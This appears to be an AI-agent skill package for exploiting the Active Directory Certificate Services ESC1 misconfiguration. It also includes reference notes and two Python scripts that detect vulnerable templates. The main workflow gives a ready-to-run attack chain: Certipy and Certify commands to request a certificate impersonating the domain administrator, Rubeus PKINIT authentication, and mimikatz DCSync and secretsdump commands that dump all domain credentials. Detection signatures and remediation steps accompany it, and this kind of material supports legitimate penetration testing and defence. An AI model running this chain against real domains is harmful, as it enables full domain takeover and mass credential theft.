npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
MITRE D3FEND
Overview
ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called "Supply in Request"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their "Certified Pre-Owned" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).
When to Use
- When performing authorized security testing that involves exploiting active directory certificate services esc1
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Enumerate AD CS infrastructure and certificate templates using Certify or Certipy
- Identify vulnerable ESC1 templates with "Supply in Request" enabled
- Request a certificate specifying a Domain Admin in the SAN field
- Authenticate using the forged certificate via PKINIT to obtain a TGT
- Escalate privileges to Domain Admin using the obtained Kerberos ticket
- Document the full attack chain for the engagement report
MITRE ATT&CK Mapping
- T1649 - Steal or Forge Authentication Certificates
- T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
- T1078.002 - Valid Accounts: Domain Accounts
- T1484 - Domain Policy Modification
- T1087.002 - Account Discovery: Domain Account
Workflow
Phase 1: AD CS Enumeration
- Enumerate Certificate Authority (CA) servers in the domain:
# Using Certify (Windows) Certify.exe cas # Using Certipy (Linux/Python) certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 - Enumerate all certificate templates and identify vulnerable ones:
# Using Certify - find vulnerable templates Certify.exe find /vulnerable # Using Certipy - outputs JSON and text reports certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable - Verify ESC1 conditions on identified templates:
msPKI-Certificate-Name-FlagcontainsENROLLEE_SUPPLIES_SUBJECTpkiExtendedKeyUsagecontains Client Authentication or Smart Card LogonmsPKI-Enrollment-Flagdoes not require manager approval- Low-privileged group (Domain Users, Authenticated Users) has Enroll rights
Phase 2: Certificate Request with Arbitrary SAN
- Request a certificate using the vulnerable template, specifying a Domain Admin in the SAN:
# Using Certify (Windows) Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator # Using Certipy (Linux) certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local - The CA issues a certificate with the Domain Admin's UPN in the SAN field
- Save the output certificate in PFX/PEM format
Phase 3: Authentication with Forged Certificate
- Convert the certificate if needed (Certify outputs PEM, convert to PFX):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx - Authenticate using PKINIT to obtain a TGT for the impersonated user:
# Using Rubeus (Windows) Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt # Using Certipy (Linux) certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1 - The TGT is now loaded in memory (Windows) or the NT hash is recovered (Linux)
Phase 4: Domain Privilege Escalation
- With the Domain Admin TGT, perform privileged operations:
# DCSync to dump all domain credentials mimikatz.exe "lsadump::dcsync /domain:domain.local /all" # Or using secretsdump.py with the obtained NT hash secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash - Validate Domain Admin access:
# List domain controllers dir \\DC01.domain.local\C$ # Access Domain Admin shares dir \\DC01.domain.local\SYSVOL
Tools and Resources
| Tool | Purpose | Platform |
|---|---|---|
| Certify | AD CS enumeration and certificate requests | Windows (.NET) |
| Certipy | AD CS enumeration, request, and authentication | Linux (Python) |
| Rubeus | Kerberos authentication with certificates (PKINIT) | Windows (.NET) |
| Mimikatz | Credential dumping post-escalation | Windows |
| secretsdump.py | Remote credential dumping (Impacket) | Linux (Python) |
| PSPKIAudit | PowerShell AD CS auditing module | Windows |
| ForgeCert | Certificate forgery tool | Windows (.NET) |
Vulnerable Template Indicators
| Condition | Vulnerable Value |
|---|---|
| msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT (1) |
| pkiExtendedKeyUsage | Client Authentication (1.3.6.1.5.5.7.3.2) |
| Enrollment Rights | Domain Users or Authenticated Users |
| msPKI-Enrollment-Flag | No manager approval required |
| CA Setting | No approval workflow enforced |
Detection Signatures
| Indicator | Detection Method |
|---|---|
| Certificate request with SAN different from requester | Windows Event 4886 / 4887 on CA server |
| Unusual PKINIT authentication | Event 4768 with certificate-based pre-auth |
| Certify.exe or Certipy execution | EDR process monitoring and command-line logging |
| Mass certificate template enumeration | LDAP query monitoring for pkiCertificateTemplate objects |
| Certificate issued to non-matching UPN | CA audit logs and certificate transparency |
Validation Criteria
- AD CS Certificate Authority enumerated
- Vulnerable ESC1 templates identified with Certify or Certipy
- Certificate requested with Domain Admin SAN successfully
- PKINIT authentication performed with forged certificate
- Domain Admin TGT obtained
- Privileged access to domain controller validated
- Full attack chain documented with evidence
- Remediation recommendations provided (disable Supply in Request, require manager approval)
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 3
api-reference.md2.1 KB
API Reference: AD CS ESC1 Vulnerability
ESC1 — Enrollee Supplies Subject Alternative Name
Vulnerability Conditions
- Template allows enrollee to supply SAN (
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) - Template has Client Authentication EKU (OID 1.3.6.1.5.5.7.3.2)
- Low-privileged users (Domain Users) can enroll
- No manager approval required
Certipy — AD CS Auditing Tool
Find Vulnerable Templates
certipy find -u user@domain.local -p password -dc-ip 10.10.10.1 -vulnerableRequest Certificate with SAN (ESC1)
certipy req -u user@domain.local -p password -dc-ip 10.10.10.1 \
-ca CORP-CA -template VulnerableTemplate \
-upn administrator@domain.localAuthenticate with Certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1certutil — Windows Built-in
List Templates
certutil -v -template
certutil -catemplates
certutil -TCAInfoRequest Certificate
certutil -submit -attrib "SAN:upn=admin@domain.local" request.reqCertificate Template Flags
msPKI-Certificate-Name-Flag
| Value | Name | Risk |
|---|---|---|
| 0x00000001 | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT | CRITICAL |
| 0x00010000 | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME | CRITICAL |
msPKI-Enrollment-Flag
| Value | Name |
|---|---|
| 0x00000002 | CT_FLAG_PEND_ALL_REQUESTS (manager approval) |
| 0x00000020 | CT_FLAG_AUTO_ENROLLMENT |
LDAP Queries for AD CS
Find templates with ENROLLEE_SUPPLIES_SUBJECT
(&(objectClass=pKICertificateTemplate)
(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1))Find CAs
(objectClass=pKIEnrollmentService)PowerShell — PSPKI Module
Install
Install-Module -Name PSPKIGet Templates
Get-CertificateTemplate | Where-Object {
$_.Flags -band 1 # ENROLLEE_SUPPLIES_SUBJECT
} | Select-Object Name, Flags, OIDRemediation
- Remove
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTfrom template flags - Require CA manager approval for certificate issuance
- Restrict enrollment permissions to specific security groups
- Enable certificate auditing (Event ID 4887)
standards.md1.1 KB
Standards and References - AD CS ESC1 Exploitation
MITRE ATT&CK References
| Technique ID | Name | Tactic |
|---|---|---|
| T1649 | Steal or Forge Authentication Certificates | Credential Access |
| T1558.001 | Steal or Forge Kerberos Tickets: Golden Ticket | Credential Access |
| T1078.002 | Valid Accounts: Domain Accounts | Initial Access, Persistence |
| T1484 | Domain Policy Modification | Defense Evasion |
| T1087.002 | Account Discovery: Domain Account | Discovery |
Key Research
- SpecterOps "Certified Pre-Owned" whitepaper by Will Schroeder and Lee Christensen (2021)
- CrowdStrike: Investigating Active Directory Certificate Services Abuse: ESC1
- BeyondTrust: ESC1 Attack - How to Detect and Mitigate
- Semperis: ESC1 Attack Explained
- HackTricks: AD CS Domain Escalation
CVE References
- ESC1 is a misconfiguration, not a specific CVE
- Related: CVE-2022-26923 (Certifried) - AD CS machine account certificate abuse
Remediation Standards
- Microsoft KB5014754: Certificate-based authentication changes
- CISA Alert: Securing AD CS deployments
- CIS Benchmark: AD CS hardening guidelines
workflows.md1.9 KB
Workflows - AD CS ESC1 Exploitation
ESC1 Attack Chain Workflow
1. Enumeration
├── Identify CA servers: Certify.exe cas / certipy find
├── List certificate templates: Certify.exe find
├── Filter for vulnerable templates: /vulnerable flag
└── Verify ESC1 conditions (ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU)
2. Certificate Request
├── Choose target principal (Domain Admin, Enterprise Admin)
├── Request certificate with target UPN in SAN field
├── CA processes request without approval (misconfigured)
└── Save issued certificate (PFX/PEM)
3. Authentication
├── Convert certificate format if needed (PEM → PFX)
├── Use PKINIT to request TGT with forged certificate
├── Rubeus (Windows): asktgt /certificate:<pfx>
├── Certipy (Linux): auth -pfx <certificate>
└── Obtain TGT or NT hash for target account
4. Privilege Escalation
├── Use obtained TGT/hash for privileged operations
├── DCSync: Dump all domain credentials
├── Access Domain Controller shares
└── Establish persistence as needed
5. Documentation
├── Screenshot each step of the attack chain
├── Record CA name, template name, and SAN used
├── Document credentials obtained
└── Provide remediation guidanceCertipy Full Attack Workflow (Linux)
# Step 1: Find vulnerable templates
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
# Step 2: Request certificate as administrator
certipy req -u user@domain.local -p 'Password123' \
-ca 'domain-CA' -target DC01.domain.local \
-template VulnerableTemplate \
-upn administrator@domain.local
# Step 3: Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
# Step 4: Use recovered NT hash
secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhashScripts 2
agent.py4.6 KB
#!/usr/bin/env python3
"""Agent for detecting and testing AD CS ESC1 misconfiguration (enrollee supplies SAN)."""
import argparse
import json
import subprocess
from datetime import datetime, timezone
def enumerate_certificate_templates():
"""Enumerate AD CS certificate templates via certutil or Certipy."""
templates = []
try:
result = subprocess.check_output(
["certutil", "-v", "-template"],
text=True, errors="replace", timeout=30
)
current = {}
for line in result.splitlines():
line = line.strip()
if line.startswith("Template["):
if current:
templates.append(current)
current = {"raw_lines": []}
if ":" in line:
key, _, val = line.partition(":")
current[key.strip()] = val.strip()
if current:
current["raw_lines"].append(line)
if current:
templates.append(current)
except (subprocess.SubprocessError, FileNotFoundError):
pass
return templates
def check_esc1_vulnerable(template):
"""Check if a certificate template is vulnerable to ESC1."""
indicators = []
raw = "\n".join(template.get("raw_lines", []))
if "CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT" in raw or "ENROLLEE_SUPPLIES_SUBJECT" in raw:
indicators.append("Enrollee can supply Subject Alternative Name (SAN)")
if "Client Authentication" in raw or "1.3.6.1.5.5.7.3.2" in raw:
indicators.append("Template allows Client Authentication EKU")
if "Domain Users" in raw or "Authenticated Users" in raw:
indicators.append("Low-privileged users can enroll")
if "Manager approval" not in raw and "manager approval" not in raw.lower():
indicators.append("No manager approval required")
return indicators
def run_certipy_find(domain, username, password, dc_ip):
"""Run Certipy to find vulnerable certificate templates."""
findings = []
try:
result = subprocess.check_output(
["certipy", "find", "-u", f"{username}@{domain}",
"-p", password, "-dc-ip", dc_ip, "-vulnerable", "-json"],
text=True, errors="replace", timeout=60
)
data = json.loads(result)
for tmpl in data.get("Certificate Templates", []):
if "ESC1" in str(tmpl.get("Vulnerabilities", [])):
findings.append({
"template": tmpl.get("Template Name", ""),
"vulnerability": "ESC1",
"enrollable_by": tmpl.get("Enrollment Rights", []),
})
except (subprocess.SubprocessError, json.JSONDecodeError, FileNotFoundError):
pass
return findings
def main():
parser = argparse.ArgumentParser(
description="Detect AD CS ESC1 vulnerability (authorized pentesting only)"
)
parser.add_argument("--certutil", action="store_true", help="Use certutil enumeration")
parser.add_argument("--certipy", action="store_true", help="Use Certipy tool")
parser.add_argument("--domain", help="AD domain name")
parser.add_argument("--username", help="Domain username")
parser.add_argument("--password", help="Domain password")
parser.add_argument("--dc-ip", help="Domain controller IP")
parser.add_argument("--output", "-o", help="Output JSON report")
args = parser.parse_args()
print("[*] AD CS ESC1 Vulnerability Detection Agent")
print("[!] For authorized security testing only")
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []}
if args.certutil:
templates = enumerate_certificate_templates()
for tmpl in templates:
vulns = check_esc1_vulnerable(tmpl)
if vulns:
report["findings"].append({
"template": tmpl.get("Template", "Unknown"),
"esc1_indicators": vulns,
"indicator_count": len(vulns),
})
print(f"[*] Templates analyzed: {len(templates)}, ESC1 vulnerable: {len(report['findings'])}")
if args.certipy and args.domain:
certipy_results = run_certipy_find(
args.domain, args.username or "", args.password or "", args.dc_ip or ""
)
report["findings"].extend(certipy_results)
print(f"[*] Certipy findings: {len(certipy_results)}")
report["risk_level"] = "CRITICAL" if report["findings"] else "LOW"
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[*] Report saved to {args.output}")
else:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()
process.py7.9 KB
#!/usr/bin/env python3
"""
AD CS ESC1 Vulnerability Assessment Script
Parses Certipy output to identify ESC1-vulnerable certificate templates
and generates an assessment report. For authorized red team engagements only.
"""
import json
import sys
import os
from datetime import datetime
from pathlib import Path
ESC1_DANGEROUS_EKUS = [
"1.3.6.1.5.5.7.3.2", # Client Authentication
"1.3.6.1.5.2.3.4", # PKINIT Client Authentication
"1.3.6.1.4.1.311.20.2.2", # Smart Card Logon
"2.5.29.37.0", # Any Purpose
]
EKU_NAMES = {
"1.3.6.1.5.5.7.3.2": "Client Authentication",
"1.3.6.1.5.2.3.4": "PKINIT Client Authentication",
"1.3.6.1.4.1.311.20.2.2": "Smart Card Logon",
"2.5.29.37.0": "Any Purpose",
"1.3.6.1.5.5.7.3.1": "Server Authentication",
}
def load_certipy_output(filepath: str) -> dict:
"""Load Certipy JSON output file."""
try:
with open(filepath, "r") as f:
return json.load(f)
except (FileNotFoundError, json.JSONDecodeError) as e:
print(f"Error loading Certipy output: {e}")
return {}
def check_esc1_conditions(template: dict) -> dict:
"""Check if a certificate template is vulnerable to ESC1."""
result = {
"template_name": template.get("Template Name", template.get("name", "Unknown")),
"vulnerable": False,
"conditions_met": [],
"conditions_not_met": [],
"risk_level": "low"
}
# Condition 1: ENROLLEE_SUPPLIES_SUBJECT flag
name_flag = template.get("msPKI-Certificate-Name-Flag", "")
enrollee_supplies = False
if isinstance(name_flag, str):
enrollee_supplies = "ENROLLEE_SUPPLIES_SUBJECT" in name_flag.upper()
elif isinstance(name_flag, int):
enrollee_supplies = (name_flag & 1) != 0
if enrollee_supplies:
result["conditions_met"].append("ENROLLEE_SUPPLIES_SUBJECT enabled")
else:
result["conditions_not_met"].append("ENROLLEE_SUPPLIES_SUBJECT not enabled")
# Condition 2: Client Authentication EKU
ekus = template.get("pkiExtendedKeyUsage", template.get("Extended Key Usage", []))
if isinstance(ekus, str):
ekus = [ekus]
has_auth_eku = any(eku in ESC1_DANGEROUS_EKUS for eku in ekus)
no_ekus = len(ekus) == 0 # No EKU = any purpose
if has_auth_eku or no_ekus:
eku_desc = "No EKU (any purpose)" if no_ekus else "Client Authentication EKU present"
result["conditions_met"].append(eku_desc)
else:
result["conditions_not_met"].append("No authentication-capable EKU")
# Condition 3: Enrollment rights for low-privileged users
enrollment_rights = template.get("Enrollment Rights", template.get("permissions", {}))
low_priv_enroll = False
low_priv_groups = [
"Domain Users", "Authenticated Users", "Everyone",
"Domain Computers", "Users"
]
if isinstance(enrollment_rights, dict):
for entity, rights in enrollment_rights.items():
if any(group.lower() in entity.lower() for group in low_priv_groups):
if "Enroll" in str(rights):
low_priv_enroll = True
break
elif isinstance(enrollment_rights, list):
for entry in enrollment_rights:
if any(group.lower() in str(entry).lower() for group in low_priv_groups):
low_priv_enroll = True
break
if low_priv_enroll:
result["conditions_met"].append("Low-privileged group has Enroll rights")
else:
result["conditions_not_met"].append("No low-privileged enrollment rights found")
# Condition 4: No manager approval
enrollment_flag = template.get("msPKI-Enrollment-Flag", 0)
requires_approval = False
if isinstance(enrollment_flag, int):
requires_approval = (enrollment_flag & 2) != 0 # CT_FLAG_PEND_ALL_REQUESTS
elif isinstance(enrollment_flag, str):
requires_approval = "PEND_ALL_REQUESTS" in enrollment_flag.upper()
if not requires_approval:
result["conditions_met"].append("No manager approval required")
else:
result["conditions_not_met"].append("Manager approval required")
# Determine vulnerability
if enrollee_supplies and (has_auth_eku or no_ekus) and low_priv_enroll and not requires_approval:
result["vulnerable"] = True
result["risk_level"] = "critical"
elif enrollee_supplies and (has_auth_eku or no_ekus):
result["risk_level"] = "high"
return result
def generate_esc1_report(certipy_data: dict) -> str:
"""Generate ESC1 vulnerability assessment report."""
report_lines = [
"=" * 70,
"AD CS ESC1 Vulnerability Assessment Report",
f"Generated: {datetime.now().isoformat()}",
"=" * 70,
""
]
templates = certipy_data.get("Certificate Templates", {})
if not templates:
templates = certipy_data.get("templates", {})
vulnerable_templates = []
high_risk_templates = []
for name, template_data in templates.items():
if isinstance(template_data, dict):
template_data["name"] = name
assessment = check_esc1_conditions(template_data)
if assessment["vulnerable"]:
vulnerable_templates.append(assessment)
elif assessment["risk_level"] == "high":
high_risk_templates.append(assessment)
report_lines.append(f"Total Templates Analyzed: {len(templates)}")
report_lines.append(f"ESC1 Vulnerable (Critical): {len(vulnerable_templates)}")
report_lines.append(f"Partially Vulnerable (High): {len(high_risk_templates)}")
report_lines.append("")
if vulnerable_templates:
report_lines.append("[CRITICAL] ESC1 Vulnerable Templates:")
report_lines.append("-" * 50)
for t in vulnerable_templates:
report_lines.append(f" Template: {t['template_name']}")
report_lines.append(f" Risk Level: {t['risk_level'].upper()}")
report_lines.append(" Conditions Met:")
for cond in t["conditions_met"]:
report_lines.append(f" [+] {cond}")
report_lines.append("")
if high_risk_templates:
report_lines.append("[HIGH] Partially Vulnerable Templates:")
report_lines.append("-" * 50)
for t in high_risk_templates:
report_lines.append(f" Template: {t['template_name']}")
report_lines.append(" Conditions Met:")
for cond in t["conditions_met"]:
report_lines.append(f" [+] {cond}")
report_lines.append(" Conditions Not Met:")
for cond in t["conditions_not_met"]:
report_lines.append(f" [-] {cond}")
report_lines.append("")
report_lines.append("=" * 70)
report_lines.append("Remediation Recommendations:")
report_lines.append(" 1. Disable ENROLLEE_SUPPLIES_SUBJECT on all vulnerable templates")
report_lines.append(" 2. Enable manager approval for certificate issuance")
report_lines.append(" 3. Restrict enrollment rights to specific security groups")
report_lines.append(" 4. Enable CA audit logging (Event IDs 4886, 4887)")
report_lines.append(" 5. Monitor for certificates with mismatched SAN fields")
report_lines.append("=" * 70)
return "\n".join(report_lines)
def main():
"""Main entry point."""
if len(sys.argv) < 2:
print("Usage: python process.py <certipy_output.json>")
print(" Parses Certipy JSON output and identifies ESC1 vulnerabilities")
return
certipy_file = sys.argv[1]
certipy_data = load_certipy_output(certipy_file)
if not certipy_data:
print("No data loaded. Ensure the file is valid Certipy JSON output.")
return
report = generate_esc1_report(certipy_data)
print(report)
report_file = f"esc1_assessment_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt"
with open(report_file, "w") as f:
f.write(report)
print(f"\nReport saved to: {report_file}")
if __name__ == "__main__":
main()